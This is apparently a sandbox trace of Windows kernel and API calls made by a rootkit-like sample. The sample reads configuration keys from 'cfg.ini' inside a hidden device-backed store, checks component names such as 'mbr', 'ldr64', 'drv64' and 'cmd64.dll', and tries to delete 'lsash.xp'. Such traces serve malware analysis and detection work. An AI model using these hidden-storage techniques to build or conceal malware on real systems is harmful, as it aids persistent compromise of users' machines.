[0116.955] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0116.955] KeLeaveCriticalRegion () [0116.955] _snprintf (in: _Dest=0xfffff880028b2790, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0116.955] KeEnterCriticalRegion () [0116.955] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0116.955] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8007ffba30 [0116.955] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8007ffba30 | out: Irp=0xfffffa8007ffba30) returned 0xfffffa8003b87f40 [0116.955] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b87f40, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b87f40) [0116.956] KeInitializeEvent (in: Event=0xfffff880028b2620, Type=0x0, State=0 | out: Event=0xfffff880028b2620) [0116.956] IdePortDispatch () returned 0x103 [0116.956] KeWaitForMutexObject () returned 0x0 [0116.956] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0116.956] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0116.956] KeLeaveCriticalRegion () [0116.956] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0116.956] _snprintf (in: _Dest=0xfffff880028b2770, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0116.956] KeEnterCriticalRegion () [0116.956] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0116.956] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa8003b87f40, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0x10) returned 0xfffff88002d07000 [0116.956] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8007ffba30 [0116.956] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8007ffba30 | out: Irp=0xfffffa8007ffba30) returned 0xfffffa8003baf190 [0116.956] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003baf190, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003baf190) [0116.956] KeInitializeEvent (in: Event=0xfffff880028b25d0, Type=0x0, State=0 | out: Event=0xfffff880028b25d0) [0116.956] IdePortDispatch () returned 0x103 [0116.956] KeWaitForMutexObject () returned 0x0 [0116.956] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0116.956] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8007ffba30 [0116.956] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8007ffba30 | out: Irp=0xfffffa8007ffba30) returned 0xfffffa8003baf190 [0116.956] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003baf190, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003baf190) [0116.956] KeInitializeEvent (in: Event=0xfffff880028b25d0, Type=0x0, State=0 | out: Event=0xfffff880028b25d0) [0116.956] IdePortDispatch () returned 0x103 [0116.956] KeWaitForMutexObject () returned 0x0 [0116.957] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0116.957] KeLeaveCriticalRegion () [0116.957] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0116.957] _snprintf (in: _Dest=0xfffff880028b2790, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0116.957] KeEnterCriticalRegion () [0116.957] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0116.957] FsRtlProcessFileLock (FileLock=0xfffffa80027daf78, Irp=0xfffffa80039d7d20, Context=0x0) returned 0x0 [0116.957] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0116.957] KeLeaveCriticalRegion () [0116.957] _snprintf (in: _Dest=0xfffff880028b2750, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0116.957] KeEnterCriticalRegion () [0116.957] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0116.957] IoGetRequestorProcess (Irp=0xfffffa80039d7d20) returned 0xfffffa80034fca60 [0116.957] FsRtlFastUnlockAll (FileLock=0xfffffa80027daf78, FileObject=0xfffffa80039cabf0, ProcessId=0xfffffa80034fca60, Context=0x0) returned 0xc000007e [0116.957] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0116.957] KeLeaveCriticalRegion () [0116.957] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0116.957] _snprintf (in: _Dest=0xfffff880028b2770, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0116.957] KeEnterCriticalRegion () [0116.957] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0116.957] ExFreePoolWithTag (P=0xfffffa80039d7600, Tag=0x0) [0116.957] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0116.957] KeLeaveCriticalRegion () [0116.957] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0116.958] ReleaseMutex (hMutex=0xf0) returned 1 [0116.958] WaitForSingleObject (hHandle=0xf0, dwMilliseconds=0xffffffff) returned 0x0 [0116.958] GetPrivateProfileIntA (lpAppName="cmd", lpKeyName="dlc_srand", nDefault=0, lpFileName="\\\\?\\globalroot\\device\\000001a9\\0d24eb7c\\cfg.ini") returned 0x0 [0116.958] _snprintf (in: _Dest=0xfffff880028b2450, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0116.958] KeEnterCriticalRegion () [0116.958] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0116.958] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8007ffba30 [0116.958] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8007ffba30 | out: Irp=0xfffffa8007ffba30) returned 0xfffffa8003b87f40 [0116.958] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b87f40, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b87f40) [0116.958] KeInitializeEvent (in: Event=0xfffff880028b22c0, Type=0x0, State=0 | out: Event=0xfffff880028b22c0) [0116.958] IdePortDispatch () returned 0x103 [0116.958] KeWaitForMutexObject () returned 0x0 [0116.958] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0116.958] _strnicmp (_Str1="cmd.dll", _Str="cfg.ini", _MaxCount=0x10) returned 7 [0116.958] _strnicmp (_Str1="cmd64.dll", _Str="cfg.ini", _MaxCount=0x10) returned 7 [0116.958] strncpy (in: _Dest=0xfffffa80027daf68, _Source="cfg.ini", _Count=0x10 | out: _Dest="cfg.ini") returned="cfg.ini" [0116.958] FsRtlInitializeFileLock (FileLock=0xfffffa80027daf78, CompleteLockIrpRoutine=0x0, UnlockRoutine=0x0) [0116.958] FsRtlAllocatePool (PoolType=0x0, NumberOfBytes=0x50) returned 0xfffffa80081efc20 [0116.958] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0116.958] KeLeaveCriticalRegion () [0116.958] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0116.958] _snprintf (in: _Dest=0xfffff880028b2780, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0116.958] KeEnterCriticalRegion () [0116.958] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0116.958] FsRtlProcessFileLock (FileLock=0xfffffa80027daf78, Irp=0xfffffa80039d7d20, Context=0x0) returned 0x0 [0116.958] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0116.958] KeLeaveCriticalRegion () [0116.958] _snprintf (in: _Dest=0xfffff880028b2790, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0116.958] KeEnterCriticalRegion () [0116.958] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0116.958] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8007ffba30 [0116.958] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8007ffba30 | out: Irp=0xfffffa8007ffba30) returned 0xfffffa8003b87f40 [0116.958] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b87f40, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b87f40) [0116.958] KeInitializeEvent (in: Event=0xfffff880028b2620, Type=0x0, State=0 | out: Event=0xfffff880028b2620) [0116.958] IdePortDispatch () returned 0x103 [0116.959] KeWaitForMutexObject () returned 0x0 [0116.959] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0116.959] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0116.959] KeLeaveCriticalRegion () [0116.959] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0116.959] _snprintf (in: _Dest=0xfffff880028b2770, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0116.959] KeEnterCriticalRegion () [0116.959] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0116.959] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa8003b87f40, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0x10) returned 0xfffff88002d08000 [0116.959] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8007ffba30 [0116.959] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8007ffba30 | out: Irp=0xfffffa8007ffba30) returned 0xfffffa8003baf190 [0116.959] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003baf190, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003baf190) [0116.959] KeInitializeEvent (in: Event=0xfffff880028b25d0, Type=0x0, State=0 | out: Event=0xfffff880028b25d0) [0116.959] IdePortDispatch () returned 0x103 [0116.959] KeWaitForMutexObject () returned 0x0 [0116.959] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0116.959] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8007ffba30 [0116.959] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8007ffba30 | out: Irp=0xfffffa8007ffba30) returned 0xfffffa8003baf190 [0116.959] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003baf190, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003baf190) [0116.959] KeInitializeEvent (in: Event=0xfffff880028b25d0, Type=0x0, State=0 | out: Event=0xfffff880028b25d0) [0116.959] IdePortDispatch () returned 0x103 [0116.959] KeWaitForMutexObject () returned 0x0 [0116.960] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0116.960] KeLeaveCriticalRegion () [0116.960] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0116.960] _snprintf (in: _Dest=0xfffff880028b2790, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0116.960] KeEnterCriticalRegion () [0116.960] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0116.960] FsRtlProcessFileLock (FileLock=0xfffffa80027daf78, Irp=0xfffffa80039d7d20, Context=0x0) returned 0x0 [0116.960] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0116.960] KeLeaveCriticalRegion () [0116.960] _snprintf (in: _Dest=0xfffff880028b2750, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0116.960] KeEnterCriticalRegion () [0116.960] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0116.960] IoGetRequestorProcess (Irp=0xfffffa80039d7d20) returned 0xfffffa80034fca60 [0116.960] FsRtlFastUnlockAll (FileLock=0xfffffa80027daf78, FileObject=0xfffffa80039c82a0, ProcessId=0xfffffa80034fca60, Context=0x0) returned 0xc000007e [0116.960] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0116.960] KeLeaveCriticalRegion () [0116.960] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0116.960] _snprintf (in: _Dest=0xfffff880028b2770, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0116.960] KeEnterCriticalRegion () [0116.960] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0116.960] ExFreePoolWithTag (P=0xfffffa80081efc20, Tag=0x0) [0116.960] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0116.960] KeLeaveCriticalRegion () [0116.960] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0116.961] ReleaseMutex (hMutex=0xf0) returned 1 [0116.961] WaitForSingleObject (hHandle=0xf0, dwMilliseconds=0xffffffff) returned 0x0 [0116.961] GetPrivateProfileIntA (lpAppName="cmd", lpKeyName="delay", nDefault=3600, lpFileName="\\\\?\\globalroot\\device\\000001a9\\0d24eb7c\\cfg.ini") returned 0xe10 [0116.961] _snprintf (in: _Dest=0xfffff880028b2450, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0116.961] KeEnterCriticalRegion () [0116.961] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0116.961] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8007ffba30 [0116.961] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8007ffba30 | out: Irp=0xfffffa8007ffba30) returned 0xfffffa8003b87f40 [0116.961] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b87f40, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b87f40) [0116.961] KeInitializeEvent (in: Event=0xfffff880028b22c0, Type=0x0, State=0 | out: Event=0xfffff880028b22c0) [0116.961] IdePortDispatch () returned 0x103 [0116.961] KeWaitForMutexObject () returned 0x0 [0116.961] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0116.961] _strnicmp (_Str1="cmd.dll", _Str="cfg.ini", _MaxCount=0x10) returned 7 [0116.961] _strnicmp (_Str1="cmd64.dll", _Str="cfg.ini", _MaxCount=0x10) returned 7 [0116.961] strncpy (in: _Dest=0xfffffa80027daf68, _Source="cfg.ini", _Count=0x10 | out: _Dest="cfg.ini") returned="cfg.ini" [0116.961] FsRtlInitializeFileLock (FileLock=0xfffffa80027daf78, CompleteLockIrpRoutine=0x0, UnlockRoutine=0x0) [0116.961] FsRtlAllocatePool (PoolType=0x0, NumberOfBytes=0x50) returned 0xfffffa8003b28ab0 [0116.961] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0116.961] KeLeaveCriticalRegion () [0116.961] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0116.961] _snprintf (in: _Dest=0xfffff880028b2780, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0116.961] KeEnterCriticalRegion () [0116.961] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0116.961] FsRtlProcessFileLock (FileLock=0xfffffa80027daf78, Irp=0xfffffa80039d7d20, Context=0x0) returned 0x0 [0116.961] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0116.961] KeLeaveCriticalRegion () [0116.961] _snprintf (in: _Dest=0xfffff880028b2790, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0116.961] KeEnterCriticalRegion () [0116.961] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0116.961] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8007ffba30 [0116.961] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8007ffba30 | out: Irp=0xfffffa8007ffba30) returned 0xfffffa8003b87f40 [0116.961] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b87f40, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b87f40) [0116.961] KeInitializeEvent (in: Event=0xfffff880028b2620, Type=0x0, State=0 | out: Event=0xfffff880028b2620) [0116.961] IdePortDispatch () returned 0x103 [0116.962] KeWaitForMutexObject () returned 0x0 [0116.962] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0116.962] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0116.962] KeLeaveCriticalRegion () [0116.962] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0116.962] _snprintf (in: _Dest=0xfffff880028b2770, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0116.962] KeEnterCriticalRegion () [0116.962] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0116.962] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa8003b87f40, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0x10) returned 0xfffff88002d09000 [0116.962] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8007ffba30 [0116.962] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8007ffba30 | out: Irp=0xfffffa8007ffba30) returned 0xfffffa8003baf190 [0116.962] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003baf190, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003baf190) [0116.962] KeInitializeEvent (in: Event=0xfffff880028b25d0, Type=0x0, State=0 | out: Event=0xfffff880028b25d0) [0116.962] IdePortDispatch () returned 0x103 [0116.962] KeWaitForMutexObject () returned 0x0 [0116.962] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0116.962] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8007ffba30 [0116.962] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8007ffba30 | out: Irp=0xfffffa8007ffba30) returned 0xfffffa8003baf190 [0116.962] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003baf190, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003baf190) [0116.962] KeInitializeEvent (in: Event=0xfffff880028b25d0, Type=0x0, State=0 | out: Event=0xfffff880028b25d0) [0116.962] IdePortDispatch () returned 0x103 [0116.963] KeWaitForMutexObject () returned 0x0 [0116.963] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0116.963] KeLeaveCriticalRegion () [0116.963] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0116.963] _snprintf (in: _Dest=0xfffff880028b2790, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0116.963] KeEnterCriticalRegion () [0116.963] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0116.963] FsRtlProcessFileLock (FileLock=0xfffffa80027daf78, Irp=0xfffffa80039d7d20, Context=0x0) returned 0x0 [0116.963] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0116.963] KeLeaveCriticalRegion () [0116.963] _snprintf (in: _Dest=0xfffff880028b2750, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0116.964] KeEnterCriticalRegion () [0116.964] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0116.964] IoGetRequestorProcess (Irp=0xfffffa80039d7d20) returned 0xfffffa80034fca60 [0116.964] FsRtlFastUnlockAll (FileLock=0xfffffa80027daf78, FileObject=0xfffffa80039c6590, ProcessId=0xfffffa80034fca60, Context=0x0) returned 0xc000007e [0116.964] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0116.964] KeLeaveCriticalRegion () [0116.964] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0116.964] _snprintf (in: _Dest=0xfffff880028b2770, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0116.964] KeEnterCriticalRegion () [0116.964] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0116.964] ExFreePoolWithTag (P=0xfffffa8003b28ab0, Tag=0x0) [0116.964] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0116.964] KeLeaveCriticalRegion () [0116.964] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0116.964] ReleaseMutex (hMutex=0xf0) returned 1 [0116.964] WaitForSingleObject (hHandle=0x108, dwMilliseconds=0x0) returned 0x102 [0116.964] WaitForSingleObject (hHandle=0x100, dwMilliseconds=0xffffffff) returned 0x0 [0116.964] CreateFileA (lpFileName="\\\\?\\globalroot\\device\\000001a9\\0d24eb7c\\lsash.xp" (normalized: "\\device\\000001a9\\0d24eb7c\\lsash.xp"), dwDesiredAccess=0x80000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffffffffffff [0116.964] _snprintf (in: _Dest=0xfffff880028b2450, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\lsash.xp") returned 17 [0116.964] KeEnterCriticalRegion () [0116.964] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0116.964] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8007ffba30 [0116.964] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8007ffba30 | out: Irp=0xfffffa8007ffba30) returned 0xfffffa8003b87f40 [0116.964] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b87f40, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b87f40) [0116.964] KeInitializeEvent (in: Event=0xfffff880028b22c0, Type=0x0, State=0 | out: Event=0xfffff880028b22c0) [0116.964] IdePortDispatch () returned 0x103 [0116.964] KeWaitForMutexObject () returned 0x0 [0116.964] _strnicmp (_Str1="cfg.ini", _Str="lsash.xp", _MaxCount=0x10) returned -9 [0116.964] _strnicmp (_Str1="mbr", _Str="lsash.xp", _MaxCount=0x10) returned 1 [0116.964] _strnicmp (_Str1="ldr16", _Str="lsash.xp", _MaxCount=0x10) returned -15 [0116.964] _strnicmp (_Str1="ldr32", _Str="lsash.xp", _MaxCount=0x10) returned -15 [0116.964] _strnicmp (_Str1="ldr64", _Str="lsash.xp", _MaxCount=0x10) returned -15 [0116.964] _strnicmp (_Str1="drv32", _Str="lsash.xp", _MaxCount=0x10) returned -8 [0116.964] _strnicmp (_Str1="drv64", _Str="lsash.xp", _MaxCount=0x10) returned -8 [0116.964] _strnicmp (_Str1="cmd.dll", _Str="lsash.xp", _MaxCount=0x10) returned -9 [0116.964] _strnicmp (_Str1="cmd64.dll", _Str="lsash.xp", _MaxCount=0x10) returned -9 [0116.964] _strnicmp (_Str1="bckfg.tmp", _Str="lsash.xp", _MaxCount=0x10) returned -10 [0116.964] _strnicmp (_Str1="", _Str="lsash.xp", _MaxCount=0x10) returned -108 [0116.965] _strnicmp (_Str1="", _Str="lsash.xp", _MaxCount=0x10) returned -108 [0116.965] _strnicmp (_Str1="", _Str="lsash.xp", _MaxCount=0x10) returned -108 [0116.965] _strnicmp (_Str1="", _Str="lsash.xp", _MaxCount=0x10) returned -108 [0116.965] _strnicmp (_Str1="", _Str="lsash.xp", _MaxCount=0x10) returned -108 [0116.965] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0116.965] KeLeaveCriticalRegion () [0116.965] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0116.965] DeleteFileA (lpFileName="\\\\?\\globalroot\\device\\000001a9\\0d24eb7c\\lsash.xp" (normalized: "\\device\\000001a9\\0d24eb7c\\lsash.xp")) returned 0 [0116.965] _snprintf (in: _Dest=0xfffff880028b2450, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\lsash.xp") returned 17 [0116.965] KeEnterCriticalRegion () [0116.965] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0116.965] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8007ffba30 [0116.965] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8007ffba30 | out: Irp=0xfffffa8007ffba30) returned 0xfffffa8003b87f40 [0116.965] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b87f40, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b87f40) [0116.965] KeInitializeEvent (in: Event=0xfffff880028b22c0, Type=0x0, State=0 | out: Event=0xfffff880028b22c0) [0116.965] IdePortDispatch () returned 0x103 [0116.965] KeWaitForMutexObject () returned 0x0 [0116.965] _strnicmp (_Str1="cfg.ini", _Str="lsash.xp", _MaxCount=0x10) returned -9 [0116.965] _strnicmp (_Str1="mbr", _Str="lsash.xp", _MaxCount=0x10) returned 1 [0116.965] _strnicmp (_Str1="ldr16", _Str="lsash.xp", _MaxCount=0x10) returned -15 [0116.965] _strnicmp (_Str1="ldr32", _Str="lsash.xp", _MaxCount=0x10) returned -15 [0116.965] _strnicmp (_Str1="ldr64", _Str="lsash.xp", _MaxCount=0x10) returned -15 [0116.965] _strnicmp (_Str1="drv32", _Str="lsash.xp", _MaxCount=0x10) returned -8 [0116.965] _strnicmp (_Str1="drv64", _Str="lsash.xp", _MaxCount=0x10) returned -8 [0116.965] _strnicmp (_Str1="cmd.dll", _Str="lsash.xp", _MaxCount=0x10) returned -9 [0116.965] _strnicmp (_Str1="cmd64.dll", _Str="lsash.xp", _MaxCount=0x10) returned -9 [0116.965] _strnicmp (_Str1="bckfg.tmp", _Str="lsash.xp", _MaxCount=0x10) returned -10 [0116.965] _strnicmp (_Str1="", _Str="lsash.xp", _MaxCount=0x10) returned -108 [0116.965] _strnicmp (_Str1="", _Str="lsash.xp", _MaxCount=0x10) returned -108 [0116.965] _strnicmp (_Str1="", _Str="lsash.xp", _MaxCount=0x10) returned -108 [0116.965] _strnicmp (_Str1="", _Str="lsash.xp", _MaxCount=0x10) returned -108 [0116.965] _strnicmp (_Str1="", _Str="lsash.xp", _MaxCount=0x10) returned -108 [0116.965] 